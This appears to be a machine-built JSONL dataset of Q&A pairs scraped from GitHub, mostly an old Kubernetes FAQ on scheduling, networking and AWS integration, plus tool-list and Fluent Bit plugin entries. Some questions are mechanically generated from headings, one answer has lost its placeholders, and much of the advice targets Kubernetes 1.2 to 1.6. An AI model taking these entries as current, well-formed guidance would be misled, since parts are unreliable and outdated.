{"id": "gh_12cccfadec1e", "question": "How to: How do I force a pod to run on a specific node?", "question_body": "About hubt/kubernetes-faq", "answer": "There are two mechanism for this: taints and node selection.\n\nKubernetes node selection is described here:\nhttp://kubernetes.io/docs/user-guide/node-selection/\n\nIn kubernetes 1.3 the concept of a `taint` was implemented. A taint is a way of marking a node for a specific purpose. In order to be scheduled onto a tainted node, a pod must \"tolerate\" the taint.\n\nUse a `taint` to limit the pods that can run on a node, for instance you want to dedicate instances for only a specific kind of pod. On the other hand, use a pod's node selector to limit where a pod can run, for instance if your pod needs specific features on a host like a GPU.\n\nhttps://github.com/coreos/kubernetes/blob/master/docs/design/taint-toleration-dedicated.md", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 109, "answer_score": 10, "has_code": false, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001753"}
{"id": "gh_75148d9113c7", "question": "How to: How do I force replicas of a pod to split across different nodes?", "question_body": "About hubt/kubernetes-faq", "answer": "Kubernetes by default does attempt node anti-affinity, but it is not a hard requirement, it is best effort, but will schedule multiple pods on the same node if that is the only way.\n\nLearn more: \nhttp://stackoverflow.com/questions/28918056/does-the-kubernetes-scheduler-support-anti-affinity\nhttp://kubernetes.io/docs/user-guide/node-selection/", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 109, "answer_score": 10, "has_code": false, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001760"}
{"id": "gh_2b5c7fdb2fd1", "question": "How to: How can I get the host IP address from inside a pod?", "question_body": "About hubt/kubernetes-faq", "answer": "In Kubernetes 1.4 the nodename is available in the downward API in the `spec.nodeName` variable. \n\nhttp://kubernetes.io/docs/user-guide/downward-api/\n\nIn AWS specifically, It may be easier to use the AWS metadata API and just `curl 169.254.169.254/1.0/meta-data/local-ipv4`", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 109, "answer_score": 10, "has_code": false, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001765"}
{"id": "gh_ed8dbdfd8479", "question": "How to: How do I give individual pods DNS names?", "question_body": "About hubt/kubernetes-faq", "answer": "In v1.3, add a `subdomain` field to the pod specification, then create a Headless service which has the same name as the `subdomain`, then each pod gets a DNS record for\n.\n.\n.svc.cluster.local\n\nIn v1.2, a similar mechanism exists but using annotations.\n\nhttp://kubernetes.io/docs/admin/dns/#a-records-and-hostname-based-on-pods-hostname-and-subdomain-fields", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 109, "answer_score": 10, "has_code": false, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001771"}
{"id": "gh_566758f5451f", "question": "How to: How do I access the Kubenernetes API from within a pod?", "question_body": "About hubt/kubernetes-faq", "answer": "See the above answer on \"getting the host IP address from inside a pod\" for an example of using the API inside a pod.", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 109, "answer_score": 10, "has_code": false, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001777"}
{"id": "gh_a9e6b0c8e158", "question": "How to: How do I get all the pods on a node?", "question_body": "About hubt/kubernetes-faq", "answer": "You can use the following command to get all the pods on a node in kubernetes 1.4\n\n```\nkubectl get po --all-namespaces  -o jsonpath='{range .items[?(@.spec.nodeName ==\"nodename\")]}{.metadata.name}{\"\\n\"}{end}'\n```", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 109, "answer_score": 10, "has_code": true, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001782"}
{"id": "gh_072964648ed4", "question": "How to: Can pods mount NFS volumes?", "question_body": "About hubt/kubernetes-faq", "answer": "Yes, there's an example here of both an NFS client and server running within pods in the cluster: https://github.com/jsafrane/kubernetes-nfs-example", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 109, "answer_score": 10, "has_code": false, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001788"}
{"id": "gh_f99723b64752", "question": "How to: Is it possible to route traffic from outside the Kubernetes cluster directly to pods?", "question_body": "About hubt/kubernetes-faq", "answer": "Yes. But one major downside of that is that ClusterIPs are implemented as iptables rules on cluster clients, so you'd lose the ability to see Cluster IPs and service changes. Because the iptables are managed by kube-proxy you could do this by running a kube-proxy, which is similar to just joining the cluster. You could make all your services Headless(ClusterIP = None), this would give your external servers the ability to talk directly to services if they could use the kubernetes dns. Headless services don't use ClusterIPs, but instead just create a DNS A record for all pods in the service. kube-dns is run inside the cluster as a ClusterIP, so there's a chicken and egg problem with DNS you would have to deal with.", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 109, "answer_score": 10, "has_code": false, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001795"}
{"id": "gh_5e93b9b3b7c3", "question": "How to: How do I put variables into my pods?", "question_body": "About hubt/kubernetes-faq", "answer": "Look at the Downward API: http://kubernetes.io/docs/user-guide/downward-api/\nIt allows your pods to see labels and annotations and a few other variables using either a mount point or environment variables inside the pod. If those don't contain the information you need, you'll likely need to resort to either using the Kubernetes API from within the pod or something entirely separate.", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 109, "answer_score": 10, "has_code": false, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001800"}
{"id": "gh_c24e16fdee0e", "question": "How to: Can I use variables or otherwise parameterize my yaml deployment files?", "question_body": "About hubt/kubernetes-faq", "answer": "There is no built in functionality for this. [Helm](https://github.com/kubernetes/helm) is a popular third party choice for this. Some people use scripts or templating tools like jinja.", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 109, "answer_score": 10, "has_code": false, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001806"}
{"id": "gh_66a402962923", "question": "How to: How do CPU and memory requests and limits work?", "question_body": "About hubt/kubernetes-faq", "answer": "Think of `request` as a node scheduling unit and a `limit` as a hard limit when it is already running. Kubernetes will attempt to schedule your pods onto nodes based only on the sum of the existing requests on the node plus the new pod request. A request is only used for scheduling which node a pod runs on. A limit is monitored after a pod has been scheduled and is running. Setting a limit enforces a cap and ensures that a pod does not exceed the limit on a node, killing it does.\n\nFor simplicity you can just set request and limit to be the same, but you won't be able to pack things tightly onto a node for efficiency. The converse problem is when you set limits which are much larger than requests there is a danger that pods use resources all the way up to their limit and overrun the node or starve other pods on the node. CPU may not hard-capped depending on the version of Kubernetes/Docker, but memory is. Pods exceeding their memory limit will be terminated and rescheduled.", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 109, "answer_score": 10, "has_code": false, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001814"}
{"id": "gh_9795c5d8855b", "question": "How to: Why is my terminal screwed up?", "question_body": "About hubt/kubernetes-faq", "answer": "There's an issue with the kubernetes client not handling terminals correctly. I have a script that I use that solves most of these problems. https://github.com/hubt/kubernetes-faq/tree/master/kshell\n\nhttps://github.com/kubernetes/kubernetes/issues/13585", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 109, "answer_score": 10, "has_code": false, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001825"}
{"id": "gh_0b946ad35466", "question": "How to: What monitoring and metrics tools do people use for Kubernetes?", "question_body": "About hubt/kubernetes-faq", "answer": "[Heapster](https://github.com/kubernetes/heapster) is included and its metrics are how Kubernetes measures CPU and memory in order to use horizontal pod autoscaling (HPA). Heapster can be queried directly with its REST API. Prometheus is also more full featured and popular.", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 109, "answer_score": 10, "has_code": false, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001831"}
{"id": "gh_9473ce2c98ed", "question": "How to: How can containers within a pod communicate with each other?", "question_body": "About hubt/kubernetes-faq", "answer": "Containers within a pod share networking space and can reach other on `localhost`. For instance, if you have two containers within a pod, a MySQL container running on port 3306, and a PHP container running on port 80, the PHP container could access the MySQL one through `localhost:3306`.\n\nLearn more: https://github.com/kubernetes/kubernetes/blob/release-1.4/docs/design/networking.md#container-to-container", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 109, "answer_score": 10, "has_code": false, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001837"}
{"id": "gh_5693da83f87a", "question": "How to: How do I configure credentials to download images from a private docker registry?", "question_body": "About hubt/kubernetes-faq", "answer": "Create a special secret in a your namespace that provides the registry and credentials to authenticate with. Then use that secret in the `spec.imagePullSecrets` field of your pod specification. http://kubernetes.io/docs/user-guide/production-pods/#authenticating-with-a-private-image-registry\nhttp://kubernetes.io/docs/user-guide/images/#using-a-private-registry", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 109, "answer_score": 10, "has_code": false, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001843"}
{"id": "gh_340b56b04ed7", "question": "How to: Is it possible to run docker inside a pod?", "question_body": "About hubt/kubernetes-faq", "answer": "Yes. The two tricks are:\n\nYour pod must run in privileged mode. kubelet must run with `--allow-privileged=true`(this is the default) and the pod must run with `securityContext.privileged: true`. This will allow your pod to mount the host docker socket directly.  \n\nYou must mount the host docker socket by specifying `volumes.hostPath.path: /var/run/docker.sock` in your pod spec. \n\nHere is a simple alpine docker deployment which can run docker commands:\n```\napiVersion: extensions/v1beta1\nkind: Deployment\nmetadata:\n  labels:\n    app: docker\n  name: docker\nspec:\n  template:\n    metadata:\n      labels:\n        app: docker\n    spec:\n      containers:\n      - command: [\"/bin/sleep\",\"365d\"]\n        image: hubt/alpine-docker\n        imagePullPolicy: Always\n        name: docker\n        securityContext:\n          privileged: true\n        terminationMessagePath: /dev/termination-log\n        volumeMounts:\n        - mountPath: /var/run/docker.sock\n          name: docker-socket\n      imagePullSecrets:\n      - name: registrypullsecret\n      volumes:\n      - hostPath:\n          path: /var/run/docker.sock\n        name: docker-socket\n```", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 109, "answer_score": 10, "has_code": true, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001852"}
{"id": "gh_33c2a5cb77bf", "question": "How to: What versions of docker are supported?", "question_body": "About hubt/kubernetes-faq", "answer": "With kubernetes 1.5, Docker versions 1.10.3 - 1.12.3 are supported, with some known issues.\n\nhttps://github.com/kubernetes/kubernetes/blob/master/CHANGELOG.md#external-dependency-version-information", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 109, "answer_score": 10, "has_code": false, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001858"}
{"id": "gh_df8ae724f07f", "question": "How to: Why are some of my pods in an Unknown state?", "question_body": "About hubt/kubernetes-faq", "answer": "In Kubernetes 1.6, a significant change was made to how the master treats nodes whose state cannot be determined. Pods from the node are put into an `Unknown` state and the master will not attempt to reschedule them.\n\nIn Kubernetes 1.5 and earlier, if the node has not sent a heartbeat to the master in 5 minutes, the node is deleted from the masters and the pods are rescheduled automatically.\n\nYou can force delete pods with\n```\nkubectl delete pods\n--grace-period=0 --force\n```\nhttps://kubernetes.io/docs/tasks/run-application/force-delete-stateful-set-pod/#force-deletion\nA longer discussion of the reasoning and the change is here:\nhttps://github.com/kubernetes/community/blob/master/contributors/design-proposals/pod-safety.md", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 109, "answer_score": 10, "has_code": true, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001865"}
{"id": "gh_e24692b3f937", "question": "How to: How should I install Kubernetes on AWS?", "question_body": "About hubt/kubernetes-faq", "answer": "`kube-up.sh` is being deprecated, it will work for relatively straightforward installs, but won't be actively developed anymore. [Kops](https://github.com/kubernetes/kops) is the new recommended deployment tool especially on AWS. It doesn't support other cloud environments yet, but that is planned.", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 109, "answer_score": 10, "has_code": false, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001871"}
{"id": "gh_3003ded6b2a2", "question": "How to: How does the default Kubernetes AWS networking work?", "question_body": "About hubt/kubernetes-faq", "answer": "In addition to regular EC2 ip addresses, Kubernetes creates its own cluster internal network. In AWS, each instance in a kubernetes cluster hosts a small subnet(by default a /24), and each pod on that host get its own IP addresses within that node's /24 address space. Whenever a cluster node is added or deleted, the Kubernetes controller updates the route table so that all nodes in the VPC can route pod IPs directly to that node's subnet.", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 109, "answer_score": 10, "has_code": false, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001877"}
{"id": "gh_527dd8c15c1d", "question": "How to: How do I add a node to my AWS Kubernetes cluster?", "question_body": "About hubt/kubernetes-faq", "answer": "If you used `kube-up.sh` or `kops` to provision your cluster, then it created an AutoScaling Group automatically. You can re-scale that with kops, or update the ASG directly, to grow/shrink the cluster. New instances are provisioned for you and should join the cluster automatically (my experience has been it takes 5-7 minutes for nodes to join). \n\nWith `kops` the recommended process is to edit the InstanceGroup (ig) and then update your cluster. `kops` also supports multiple instance groups per cluster so you can have multiple Auto Scaling Groups to run multiple types of instances within your cluster. Spot instances are also supported.", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 109, "answer_score": 10, "has_code": false, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001883"}
{"id": "gh_1043d9cbae8e", "question": "How to: How do I set up node auto-scaling?", "question_body": "About hubt/kubernetes-faq", "answer": "The following project is an autoscaler: https://github.com/kubernetes/contrib/tree/master/cluster-autoscaler\n\nLearn more: https://github.com/kubernetes/kops/blob/master/docs/instance_groups.md", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 109, "answer_score": 10, "has_code": false, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001888"}
{"id": "gh_0954478aac48", "question": "How to: How do you make a service create a private ELB in AWS instead of the default public one?", "question_body": "About hubt/kubernetes-faq", "answer": "Add the following metadata annotation to your LoadBalancer service\n```\nservice.beta.kubernetes.io/aws-load-balancer-internal: 0.0.0.0/0\n```\nThen delete and re-create the service object and it should be a new private ELB.", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 109, "answer_score": 10, "has_code": true, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001894"}
{"id": "gh_fdc67c4ada06", "question": "How to: How do you restrict an AWS ELB to certain source ips:", "question_body": "About hubt/kubernetes-faq", "answer": "Add the following metadata annotation to your LoadBalancer service with a comma separated list of CIDRs:\n```\nservice.beta.kubernetes.io/load-balancer-source-ranges\n```\nEach ELB gets its own security group and this annotation will add those CIDR addresses to the allowed source IPs\n\nhttps://github.com/kubernetes/kubernetes/blob/d95b9238877d5a74895189069121328c16e420f5/pkg/api/service/annotations.go#L27-L34", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 109, "answer_score": 10, "has_code": true, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001899"}
{"id": "gh_110a0401a553", "question": "How to: How would I get my ELB LoadBalancer to be an HTTP/s LoadBalancer instead of the default TCP?", "question_body": "About hubt/kubernetes-faq", "answer": "Add the following metadata annotations to your service\n```\nservice.beta.kubernetes.io/aws-load-balancer-backend-protocol: http\n```\nor\n```\nservice.beta.kubernetes.io/aws-load-balancer-backend-protocol: https\n```\nhttps://github.com/kubernetes/kubernetes/pull/23495", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 109, "answer_score": 10, "has_code": true, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001905"}
{"id": "gh_8759870c9aed", "question": "How to: How would I attach an SSL certificate to my AWS HTTPS ELB?", "question_body": "About hubt/kubernetes-faq", "answer": "Add the following metadata annotations to your service\n```\nservice.beta.kubernetes.io/aws-load-balancer-ssl-cert=arn:aws:acm:us-east-1:123456789012:certificate/12345678-1234-1234-1234-123456789012\n```", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 109, "answer_score": 10, "has_code": true, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001910"}
{"id": "gh_bafa21d27331", "question": "How to: How would I make a service which listens on both HTTP/80 and HTTPS/443?", "question_body": "About hubt/kubernetes-faq", "answer": "Create a service which listens on port 80 and 443, attach an SSL certificate as above. Then add the following metadata annotation to your service\n```\nservice.beta.kubernetes.io/aws-load-balancer-ssl-ports: \"443\"\n```\nThis tells the ELB that the SSL certificate will only be used for 443 and not 80.", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 109, "answer_score": 10, "has_code": true, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001916"}
{"id": "gh_6db535d1e2d9", "question": "How to: What are some of the AWS limitations?", "question_body": "About hubt/kubernetes-faq", "answer": "There is a route table entry for every instance in the cluster which allows other nodes to route to the pods on that node. AWS has a soft limit of 50 routes per route table and a hard limit of 100 routes per route table. So with the default VPC networking you will run into one of these limits. Using one of the overlay networks (Flannel, Weave, Romana) can get around this limit. And kops-routing is a planned feature to do this directly from AWS nodes. A planned feature is for all these networking plugins to be drop in additions to an existing cluster.", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 109, "answer_score": 10, "has_code": false, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001922"}
{"id": "gh_ec9e48fa6735", "question": "How to: Can you run a multi-AZ Kubernetes cluster? What about a multi-region cluster?", "question_body": "About hubt/kubernetes-faq", "answer": "Yes and \"Not out of the box\". Provision with kops and specify the AZ's you want and your cluster will be a multi-AZ cluster within a single region. The AutoScalingGroups can add nodes to any region you specify. The planned solution for a multi-region cluster is to build separate clusters in each region and use federation to manage multiple clusters. http://kubernetes.io/docs/admin/federation/. It is also possible to build a multi-region cluster using an overlay network like Flannel, Calico or Weave.", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 109, "answer_score": 10, "has_code": false, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001929"}
{"id": "gh_34dc9235934e", "question": "How to: Is there a way to update route53 DNS with a service members?", "question_body": "About hubt/kubernetes-faq", "answer": "The new way going forward to do this will be with the external-dns project. https://github.com/kubernetes-incubator/external-dns\n\nOlder project with similar functionality: https://github.com/wearemolecule/route53-kubernetes\nFuture work in core kops: https://github.com/kubernetes/kops/tree/master/dns-controller", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 109, "answer_score": 10, "has_code": false, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001934"}
{"id": "gh_288a25b654b4", "question": "How to: Can kubernetes auto-create an EBS volume?", "question_body": "About hubt/kubernetes-faq", "answer": "Yes. When you declare a PersistentVolumeClaim add the annotation:\n```\n    volume.alpha.kubernetes.io/storage-class: \"foo\"\n```\nAnd the PersistentVolumeClaim will automatically create a volume for you and delete it when the PersistentVolumeClaim is deleted, \"foo\" is meaningless, the annotation just needs to be set.", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 109, "answer_score": 10, "has_code": true, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001940"}
{"id": "gh_0229e6e5af8d", "question": "How to: When using an EBS PersistentVolume and PersistentVolumeClaim, how does Kubernetes know which AZ to create a pod in?", "question_body": "About hubt/kubernetes-faq", "answer": "It just works. EBS volumes are specific to an Availability Zone, and Kubernetes knows which AZ a volume is in. When a new pod needs that volume it the pod is  automatically scheduled in the Availability Zone of the volume.", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 109, "answer_score": 10, "has_code": false, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001945"}
{"id": "gh_bf1ad61e35a5", "question": "How to: Is there a way to give a pod a separate IAM role that has different permissions than the default instance IAM policy?", "question_body": "About hubt/kubernetes-faq", "answer": "This is a third party tool that enables this: https://github.com/jtblin/kube2iam", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 109, "answer_score": 10, "has_code": false, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001951"}
{"id": "gh_31ebc7891cec", "question": "How to: Is Kubernetes rack aware or can you detect what region or Availability Zone a host is in?", "question_body": "About hubt/kubernetes-faq", "answer": "A Kubernetes node has some useful pieces of information attached as labels here are some examples:\n```\n    beta.kubernetes.io/instance-type: c3.xlarge\n    failure-domain.beta.kubernetes.io/region: us-east-1\n    failure-domain.beta.kubernetes.io/zone: us-east-1b\n    kubernetes.io/hostname: ip-172-31-0-10.us-east-1.compute.internal\n```\nYou can use these for AZ awareness or attach your own labels and use the Downward API for additional flexibility.", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 109, "answer_score": 10, "has_code": true, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001957"}
{"id": "gh_29babd6beab2", "question": "How to: Is it possible to install Kubernetes into an existing VPC?", "question_body": "About hubt/kubernetes-faq", "answer": "With kops, this is possible. But having more than one Kubernetes cluster in a VPC is not supported.", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 109, "answer_score": 10, "has_code": false, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001962"}
{"id": "gh_b7c0b3532144", "question": "How to: Is it possible to install Kubernetes into a private VPC?", "question_body": "About hubt/kubernetes-faq", "answer": "With kops 1.5, this is possible. There are features like private subnets, NAT Gateways, bastion hosts.", "tags": ["hubt"], "source": "github_gists", "category": "hubt", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 109, "answer_score": 10, "has_code": false, "url": "https://github.com/hubt/kubernetes-faq", "collected_at": "2026-01-17T12:54:31.001967"}
{"id": "gh_8d5736bfa26e", "question": "How to: 471 - [Vk8s](https://github.com/go-tk/vk8s) [⭐️](https://github.com/go-tk/vk8s/stargazers) 78 [🚀](https://github.com/go-tk/vk8s/network/members) 4 [💥](https://github.com/go-tk/vk8s/issues) 0 🪪  N.A.", "question_body": "About vilaca/awesome-k8s-tools", "answer": "*Setting up a virtual Kubernetes cluster inside a Docker container for integration testing*", "tags": ["vilaca"], "source": "github_gists", "category": "vilaca", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1022, "answer_score": 10, "has_code": false, "url": "https://github.com/vilaca/awesome-k8s-tools", "collected_at": "2026-01-17T12:54:40.786851"}
{"id": "gh_63cef0e0d242", "question": "How to: Contributing", "question_body": "About vilaca/awesome-k8s-tools", "answer": "Know an awesome K8s/container tool that's missing? Contributions are welcome!", "tags": ["vilaca"], "source": "github_gists", "category": "vilaca", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1022, "answer_score": 10, "has_code": false, "url": "https://github.com/vilaca/awesome-k8s-tools", "collected_at": "2026-01-17T12:54:40.786896"}
{"id": "gh_2eb6f4a31168", "question": "How to: How to Contribute", "question_body": "About vilaca/awesome-k8s-tools", "answer": "1. Fork this repository\n2. Add the GitHub repository URL to [`data/repos`](data/repos) (one URL per line, alphabetically sorted)\n3. Submit a pull request\n4. The list will automatically update with stats and rankings after merge", "tags": ["vilaca"], "source": "github_gists", "category": "vilaca", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1022, "answer_score": 10, "has_code": false, "url": "https://github.com/vilaca/awesome-k8s-tools", "collected_at": "2026-01-17T12:54:40.786902"}
{"id": "gh_721ffc4865da", "question": "How to: Contribution Requirements", "question_body": "About vilaca/awesome-k8s-tools", "answer": "- ✅ Must be open source with a clear license\n- ✅ Must be actively maintained (commits within the last year)\n- ✅ Must be Kubernetes or container-related\n- ✅ Must be a stable project (not experimental/proof-of-concept only)", "tags": ["vilaca"], "source": "github_gists", "category": "vilaca", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1022, "answer_score": 10, "has_code": false, "url": "https://github.com/vilaca/awesome-k8s-tools", "collected_at": "2026-01-17T12:54:40.786908"}
{"id": "gh_4acf94b4df88", "question": "How to: What Gets Rejected", "question_body": "About vilaca/awesome-k8s-tools", "answer": "- ❌ Proprietary or closed-source tools\n- ❌ Abandoned projects (no updates in 1+ years)\n- ❌ Duplicate repositories (forks of existing entries)\n- ❌ Tools unrelated to K8s/containers\n\nNeed help? Check our [License](LICENSE) or open an issue for questions.", "tags": ["vilaca"], "source": "github_gists", "category": "vilaca", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 1022, "answer_score": 10, "has_code": false, "url": "https://github.com/vilaca/awesome-k8s-tools", "collected_at": "2026-01-17T12:54:40.786914"}
{"id": "gh_835503556f3e", "question": "How to: Fluent Bit Plugin for CloudWatch Logs", "question_body": "About aws/amazon-cloudwatch-logs-for-fluent-bit", "answer": "**NOTE: A new higher performance Fluent Bit CloudWatch Logs Plugin has been released.** Check out our [official guidance](#new-higher-performance-core-fluent-bit-plugin).\n\nA Fluent Bit output plugin for CloudWatch Logs\n\n#### Security disclosures\n\nIf you think you’ve found a potential security issue, please do not post it in the Issues.  Instead, please follow the instructions [here](https://aws.amazon.com/security/vulnerability-reporting/) or email AWS security directly at [aws-security@amazon.com](mailto:aws-security@amazon.com).", "tags": ["aws"], "source": "github_gists", "category": "aws", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 189, "answer_score": 10, "has_code": false, "url": "https://github.com/aws/amazon-cloudwatch-logs-for-fluent-bit", "collected_at": "2026-01-17T12:54:45.629206"}
{"id": "gh_1b2e89b15818", "question": "How to: Plugin Options", "question_body": "About aws/amazon-cloudwatch-logs-for-fluent-bit", "answer": "* `region`: The AWS region.\n* `log_group_name`: The name of the CloudWatch Log Group that you want log records sent to. This value allows a template in the form of `$(variable)`. See section [Templating Log Group and Stream Names](#templating-log-group-and-stream-names) for more. Fluent Bit will create missing log groups if `auto_create_group` is set, and will throw an error if it does not have permission.\n* `log_stream_name`: The name of the CloudWatch Log Stream that you want log records sent to. This value allows a template in the form of `$(variable)`. See section [Templating Log Group and Stream Names](#templating-log-group-and-stream-names) for more.\n* `default_log_group_name`: This required variable is the fallback in case any variables in `log_group_name` fails to parse. Defaults to `fluentbit-default`.\n* `default_log_stream_name`: This required variable is the fallback in case any variables in `log_stream_name` fails to parse. Defaults to `/fluentbit-default`.\n* `log_stream_prefix`: (deprecated) Prefix for the Log Stream name. Setting this to `prefix-` is the same as setting `log_stream_name = prefix-$(tag)`.\n* `log_key`: By default, the whole log record will be sent to CloudWatch. If you specify a key name with this option, then only the value of that key will be sent to CloudWatch. For example, if you are using the Fluentd Docker log driver, you can specify `log_key log` and only the log message will be sent to CloudWatch.\n* `log_format`: An optional parameter that can be used to tell CloudWatch the format of the data. A value of `json/emf` enables CloudWatch to extract custom metrics embedded in a JSON payload. See the [Embedded Metric Format](https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/CloudWatch_Embedded_Metric_Format_Specification.html).\n* `role_arn`: ARN of an IAM role to assume (for cross account access).\n* `auto_create_group`: Automatically create log groups (and add tags). Valid values are \"true\" or \"false\" (case insensitive). Defaults to false. If you use dynamic variables in your log group name, you may need this to be `true`.\n* `auto_create_stream`: Automatically create log streams. Valid values are \"true\" or \"false\" (case insensitive). Defaults to true.\n* `new_log_group_tags`: Comma/equal delimited string of tags to include with _auto created_ log groups. Example: `\"tag=val,cooltag2=my other value\"`\n* `log_retention_days`: If set to a number greater than zero, and newly create log group's retention policy is set to this many days.\n* `endpoint`: Specify a custom endpoint for the CloudWatch Logs API.\n* `sts_endpoint`: Specify a custom endpoint for the STS API; used to assume your custom role provided with `role_arn`.\n* `credentials_endpoint`: Specify a custom HTTP endpoint to pull credentials from. The HTTP response body should look like the following:\n```\n{\n    \"AccessKeyId\": \"ACCESS_KEY_ID\",\n    \"Expiration\": 